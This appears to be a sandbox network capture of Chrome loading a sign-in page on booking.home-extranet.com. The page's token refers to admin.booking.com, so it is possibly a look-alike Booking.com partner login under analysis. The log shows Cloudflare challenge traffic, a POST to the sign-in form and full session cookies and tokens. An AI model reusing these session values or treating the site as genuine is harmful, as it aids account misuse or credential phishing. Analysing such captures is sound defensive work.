Safari/537.36 content-type: text/plain;charset=UTF-8 cf-chl: DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg sec-ch-ua-platform-version: "10.0.0" accept: / origin: https://booking.home-extranet.com sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty referer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWan
2025-06-10 10:50:35 UTC	1460	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:35 GMT content-type: text/html; charset=UTF-8 content-encoding: zstd set-cookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHGNO2oh5SzHCLNSB5zIh.mqP6C_Pr3iTCJ5YseCF9b2BHlwTW8HHWniTBK18KN1Ke0s3DMlJRfWBgmlmsjnLvsBsafFbKWqaB6tQOKiQ_D5YAW20wcu2wgyuQ14bg3E5w4WbvVdlwPuZjnEXePKIcVdTRD21zQPmPXPIPQ8XyPgtTJGPxbvFf1pPVBkW89vZK04uRpEMRFfuhBAOstpebMi0247qGqwQd3WNTfyV7_OQwjbGsl39xVeOBqE6zi65NEnMnTmQ3LroAIGxMLTrqynQNkCEfvvQoESh1ccV1SLKwlcConr.FrGszsNv8I; HttpOnly; SameSite=None; Partitioned; Secure; Path=/; Domain=home-extranet.com; Expires=Wed, 10 Jun 2026 10:50:35 GMT cf-chl-out-s: APgeAzf+xFduHEz76gOsA94iJiQ1V6NlfbEz0RglvriviCzVFALUVZrjOsWZ86ZoijZxzeCL5jpQE3hTuy7ESUZjnQOq34FeXHis1j58ixyRc7IFd8FbShhcF+HmdFQyfw4fFtdWl35w2w3Ho6q2Kwo2o7IHb16dBGkdREn9Y0P0cdzjMthqTO/aVG/qe4VzGsdDeCKg2tL7xQQhpJPCbxROP1Legh0Sg7ggedFrNEFgg41MikW16DKn1b6FNZCvk7tq3yB8KpFNxUUgHCgCcDpX8DciO6w8LtkTFEnq21PBtOaiD7YQ70ynNPN29lLJ/amZ3zowi2/pFFX59FjTrNulpwr+sCbfmsdECE2bVOLI9Iir2K0e5h/Q1qRBUBlFZuD1PSxuIIE2simbk/FvZ3rLEYKlMb0cIYRHjIR8CAQKSbtT+/171Nsq1ipn0ucC1bfSKpJNZ8YImpAqPx4LX6YFQWwYbwW6wK/4+SHfBMUzLL80bjIP2yCzc71z6pY5kEAZJ+R2GICWGGlnZSYnmWSXkTRdaU9ejl0Db9j0Fyxsbxck3BgeCBBys70jKLtGuwAeVh3V+mtnjOoE2pKltaUNq+LXBD/d3ex0tDm41OCgpezn6cPBy4NLoF72tUDMnb5nJVH9jK4PTeU/XWp6uSl1HhvUigAtbfarXv9hKDPeVLy7+6Os4y9dkkY1YasoykCPMMs1c2/KBWed0FR3568HkYmBFJ8
2025-06-10 10:50:36 UTC	1460	OUT	GET /favicon.ico HTTP/1.1 host: booking.home-extranet.com sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI&__cf_chl_tk=UVPIM8F3UHNpyxe1bCcF9SxDBXrhDVVwDEAgYNsNDRs-1749552617-1.0.1.1-ZiliqsjfRuwr58HcaqIGk5uw487uF2oMN1XIu6ysidc accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu cookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHG
2025-06-10 10:50:36 UTC	1024	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:36 GMT content-type: text/html; charset=UTF-8 cf-ray: 94d84f077a8369d0-DFW expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:36 GMT cf-cache-status: BYPASS report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yoIE8HSssnyoXNLIyV9riB7XHj382WDXSFPNO4YKiC%2BV0gxkgzfSo1Hxy8CafR5nkst2Jbachb1%2BM3jxAXDLTx9DiullSSRU2u9RUlHdd2lE4TWGG039B1Y2f18ZgEnuU6QWx%2BgijMB3w9bF"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123696&min_rtt=121866&rtt_var=3266&sent=160&recv=67&lost=0&retrans=0&sent_bytes=157687&recv_bytes=16914&delivery_rate=396496&cwnd=4&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=19020&x=0"
2025-06-10 10:50:37 UTC	1460	OUT	POST /sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1 host: booking.home-extranet.com content-length: 4589 cache-control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "134.0.6998.36" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" origin: https://booking.home-extranet.com content-type: application/x-www-form-urlencoded upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-fetch-site: same-origin sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document referer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYX
2025-06-10 10:50:37 UTC	1051	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:36 GMT content-type: text/html; charset=UTF-8 content-encoding: zstd expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:36 GMT cf-cache-status: DYNAMIC report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pRIDCg6Q7GlfLigwcLMpD7B9hnTvF2tM9mzD4vPtik1jVLzCso87zILqGf0eTiUyWaJzKGgrzX1FQ8EZy8jAckAZFKFvlVwRCsFoAo9T%2B5Hjti%2B48QEbtMiBmEpOpn%2BLjaslX2chJHgesUaV"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare cf-ray: 94d84f077a7a69d0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123307&min_rtt=121866&rtt_var=2512&sent=162&recv=69&lost=0&retrans=0&sent_bytes=158351&recv_bytes=16914&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=19247&x=0" content-length: 69861
2025-06-10 10:50:38 UTC	1020	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 host: booking.home-extranet.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu cookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHGNO2oh5SzHCLNSB5zIh.mqP6C_Pr3iTCJ5YseCF9b2BHlwTW8HHWniTBK18KN1Ke0s3DMlJRfWBgmlmsjnLvsBsafFbKWqaB6tQOKiQ_D5YAW20wcu2wgyuQ14bg3E5w4WbvVdlwPuZjnEXePKIcVdTRD21zQPmPXPIPQ8XyPgtTJGPxbvFf1pPVBkW89vZK04uRpEMRFfuhBAOstpebMi0247qGqwQd3WNTfyV7_OQwjbGsl39xVeOBqE6zi65NEnMnTmQ3LroAIGxMLTrqynQNkCEfvvQoESh1ccV1SLKwlcConr.FrGszsNv8I
2025-06-10 10:50:38 UTC	940	IN	HTTP/1.1 302 Found date: Tue, 10 Jun 2025 10:50:38 GMT content-length: 0 cf-ray: 94d84f164bb769d0-DFW location: /cdn-cgi/challenge-platform/h/b/scripts/jsd/f9574c83b4d7/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CIdJLFD4FIA%2FkGi5O5hsrslvCOw31Nn0D%2FRlvPGjIaZCq8l7m70SjKg0ohq%2BK9nzVBvWXBT%2BSur7FxfIIqJDHDMzoFNtkWqs2XdhKUykll7JFCrrDbCVoriLnxWZxjIJnrTCuvSoAHDz4OFi"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122007&min_rtt=121866&rtt_var=78&sent=230&recv=138&lost=0&retrans=0&sent_bytes=229501&recv_bytes=17006&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=21137&x=0"
2025-06-10 10:50:38 UTC	1038	OUT	GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/f9574c83b4d7/main.js? HTTP/1.1 host: booking.home-extranet.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu cookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHGNO2oh5SzHCLNSB5zIh.mqP6C_Pr3iTCJ5YseCF9b2BHlwTW8HHWniTBK18KN1Ke0s3DMlJRfWBgmlmsjnLvsBsafFbKWqaB6tQOKiQ_D5YAW20wcu2wgyuQ14bg3E5w4WbvVdlwPuZjnEXePKIcVdTRD21zQPmPXPIPQ8XyPgtTJGPxbvFf1pPVBkW89vZK04uRpEMRFfuhBAOstpebMi0247qGqwQd3WNTfyV7_OQwjbGsl39xVeOBqE6zi65NEnMnTmQ3LroAIGxMLTrqynQNkCEfvvQoESh1ccV1SLKwlcConr.FrGszsNv8I
2025-06-10 10:50:38 UTC	918	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:38 GMT content-type: application/javascript; charset=UTF-8 content-length: 10039 cf-ray: 94d84f172cf469d0-DFW cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qTcIaqGySMn5gebbbbii7n%2Fub%2Fc63bWROifkbkxjpKJXzxCcOUFcc3nBv4M1yspX44abJlYb5mEbmZbm5d6GvIu8ZEZMfcS3eM2bNqWLo4BvLoNDFtqPuHFc0%2Fr6jdUxqSXdj9MlIaYHPVgz"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122009&min_rtt=121866&rtt_var=63&sent=231&recv=140&lost=0&retrans=0&sent_bytes=230083&recv_bytes=17101&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=21276&x=0"
2025-06-10 10:50:39 UTC	1222	OUT	POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.9391523372923027:1749550342:eKHJLqEJc-J1iXzr4QrSoRCkV4EvDI71xkGFKGD4Pnk/94d84f077a7a69d0 HTTP/1.1 host: booking.home-extranet.com content-length: 17128 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" content-type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 accept: / origin: https://booking.home-extranet.com sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu cookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHGNO2oh5SzHCLNSB5zIh.mqP6C_Pr3iTCJ5YseCF9b2BHlwTW8HHWniTBK18KN1Ke0s3DMlJRfWBgmlmsjnLvsBsafFbKWqaB6tQOKiQ_D5YAW20wcu2wgyuQ14bg3E5w4WbvVdlwPuZjnEXePKIcVdTRD21zQPmPXPIPQ8XyPgtTJGPxbvFf1pPVBkW89vZK04uRpEMRFfuhBAOstpebMi0247qGqwQd3WNTfyV7_OQwjbGsl39xVeOBqE6zi65NEnMnTmQ3LroAIGxMLTrqynQNkCEfvvQoESh1ccV1SLKwlcConr.FrGszsNv8I priority: u=1, i
2025-06-10 10:50:39 UTC	1354	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:38 GMT content-type: text/plain; charset=UTF-8 content-length: 0 cf-ray: 94d84f18bea469d0-DFW set-cookie: cf_clearance=18dRVS8uqAe6VGmiBQSA7bcZPeB19FFr_R8YOz5tJaw-1749552638-1.2.1.1-.E1r7LNsro0AR3PjCe6g0jE2Hl21XTYQQu2tfsqXD0TONwquf6pBNNL5C_Waub1uAP5lcq8pVYGOX7rNMm_QFD6rfLVs4DIRka8VvQSD6SUafO1KQ8fXqe.sNEChrfGPIg4RFYb._cnzQicSFvocZp_ftxVFbXrdDUBJkrWQ.9T7rmFGSCed3bstIth0gDQ0gEO9fuhv.9WxXIJd2Ti4HapDJMdxdvUkHSROAQzBu9AxL6m6WumbURxaqYD_GT5Rr3BXf1pHHStYyZsYThB5NsJLkhL2Pv2zAH9KYuGJUfqCxbwu1zQ6S2f32sRZIOb6tK3K6QwM0C1To3SMzzOCET4zSudZXWL52QOKkYjYkFKv7fre7tl99QDDUC6L8p1l; HttpOnly; SameSite=None; Partitioned; Secure; Path=/; Domain=home-extranet.com; Expires=Wed, 10 Jun 2026 10:50:38 GMT report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9PeOwgEjXnkzGLd%2FOSSRsPAMoCCBQ6z9fR2p6D2blMDxIl8AcpjrsoCIN87Q9QSu7it931AyzUwXLyx%2FTP5yDpKjoH3kh0F1Gfty3NuK1DeRgCYQ%2F5tZvBGSiRA4TuaH%2Fz9dZWf7hOoFzbER"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=127266&min_rtt=121866&rtt_var=10486&sent=248&recv=160&lost=0&retrans=0&sent_bytes=240759&recv_bytes=34592&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=21659&x=0"
2025-06-10 10:50:49 UTC	1299	OUT	GET /api?c=1 HTTP/1.1 host: booking.home-extranet.com sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" x-requested-with: XMLHttpRequest sec-ch-ua-full-version: "134.0.6998.36" accept: / user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu cookie: cf_clearance=18dRVS8uqAe6VGmiBQSA7bcZPeB19FFr_R8YOz5tJaw-1749552638-1.2.1.1-.E1r7LNsro0AR3PjCe6g0jE2Hl21XTYQQu2tfsqXD0TONwquf6pBNNL5C_Waub1uAP5lcq8pVYGOX7rNMm_QFD6rfLVs4DIRka8VvQSD6SUafO1KQ8fXqe.sNEChrfGPIg4RFYb._cnzQicSFvocZp_ftxVFbXrdDUBJkrWQ.9T7rmFGSCed3bstIth0gDQ0gEO9fuhv.9WxXIJd2Ti4HapDJMdxdvUkHSROAQzBu9AxL6m6WumbURxaqYD_GT5Rr3BXf1pHHStYyZsYThB5NsJLkhL2Pv2zAH9KYuGJUfqCxbwu1zQ6S2f32sRZIOb6tK3K6QwM0C1To3SMzzOCET4zSudZXWL52QOKkYjYkFKv7fre7tl99QDDUC6L8p1l priority: u=1, i
2025-06-10 10:50:49 UTC	1005	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:49 GMT content-type: text/html; charset=UTF-8 cf-ray: 94d84f5349fc69d0-DFW expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:49 GMT cf-cache-status: DYNAMIC report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ctLJzzT1hEPGEK4Ikqi4%2BoKkX9bG8Q066tJ4KUJBDcKjIC4mz6gJP7LDnlQaxxeD7WQhUn2zWLfcZCLfCrmv3WCQV%2BtYHtIM6p2Q7YHINawKOSzEq3mJwkVHKrtO%2BTDxaxPdq1ZGCqFb81AF"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=126772&min_rtt=121866&rtt_var=8854&sent=250&recv=162&lost=0&retrans=0&sent_bytes=241673&recv_bytes=35047&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=32139&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49704	35.190.80.1	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:50:18 UTC	545	OUT	OPTIONS /report/v4?s=T00gJTegoqShAVK%2FGhsjs1BSJow8za4dl9ad8vzmRT8Ag%2F6pn2l0RU0iP%2Ff7JyeD0dWQcpIZZ9CQsj2THLO9opyJstfbQuCNJ09cjiAGHYBnHJgZqA7JY%2BuqMpW0TH%2BDflfxLZyCG0WRJHtp HTTP/1.1 host: a.nel.cloudflare.com origin: https://booking.home-extranet.com access-control-request-method: POST access-control-request-headers: content-type user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-06-10 10:50:18 UTC	317	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 10 Jun 2025 10:50:17 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-06-10 10:50:18 UTC	520	OUT	POST /report/v4?s=T00gJTegoqShAVK%2FGhsjs1BSJow8za4dl9ad8vzmRT8Ag%2F6pn2l0RU0iP%2Ff7JyeD0dWQcpIZZ9CQsj2THLO9opyJstfbQuCNJ09cjiAGHYBnHJgZqA7JY%2BuqMpW0TH%2BDflfxLZyCG0WRJHtp HTTP/1.1 host: a.nel.cloudflare.com content-length: 692 content-type: application/reports+json origin: https://booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-06-10 10:50:18 UTC	692	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 35 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 37 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 33 2e 37 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 69 6e 67 2e 68 6f 6d 65 2d 65 78 74 72 61 6e 65 Data Ascii: [{"age":157,"body":{"elapsed_time":976,"method":"GET","phase":"application","protocol":"h2","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.173.72","status_code":403,"type":"http.error"},"type":"network-error","url":"https://booking.home-extrane
2025-06-10 10:50:18 UTC	195	IN	HTTP/1.1 200 OK content-length: 0 access-control-allow-origin: * vary: Origin date: Tue, 10 Jun 2025 10:50:18 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-06-10 10:51:18 UTC	541	OUT	OPTIONS /report/v4?s=ctLJzzT1hEPGEK4Ikqi4%2BoKkX9bG8Q066tJ4KUJBDcKjIC4mz6gJP7LDnlQaxxeD7WQhUn2zWLfcZCLfCrmv3WCQV%2BtYHtIM6p2Q7YHINawKOSzEq3mJwkVHKrtO%2BTDxaxPdq1ZGCqFb81AF HTTP/1.1 host: a.nel.cloudflare.com origin: https://booking.home-extranet.com access-control-request-method: POST access-control-request-headers: content-type user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-06-10 10:51:18 UTC	317	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 10 Jun 2025 10:51:17 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-06-10 10:51:18 UTC	516	OUT	POST /report/v4?s=ctLJzzT1hEPGEK4Ikqi4%2BoKkX9bG8Q066tJ4KUJBDcKjIC4mz6gJP7LDnlQaxxeD7WQhUn2zWLfcZCLfCrmv3WCQV%2BtYHtIM6p2Q7YHINawKOSzEq3mJwkVHKrtO%2BTDxaxPdq1ZGCqFb81AF HTTP/1.1 host: a.nel.cloudflare.com content-length: 694 content-type: application/reports+json origin: https://booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=4, i
2025-06-10 10:51:18 UTC	694	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 36 30 31 33 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 33 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 33 2e 37 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 69 6e 67 2e 68 6f 6d 65 2d 65 78 74 72 61 Data Ascii: [{"age":60134,"body":{"elapsed_time":138,"method":"GET","phase":"application","protocol":"h2","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.173.72","status_code":403,"type":"http.error"},"type":"network-error","url":"https://booking.home-extra
2025-06-10 10:51:18 UTC	195	IN	HTTP/1.1 200 OK content-length: 0 access-control-allow-origin: * vary: Origin date: Tue, 10 Jun 2025 10:51:18 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49707	104.18.95.41	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
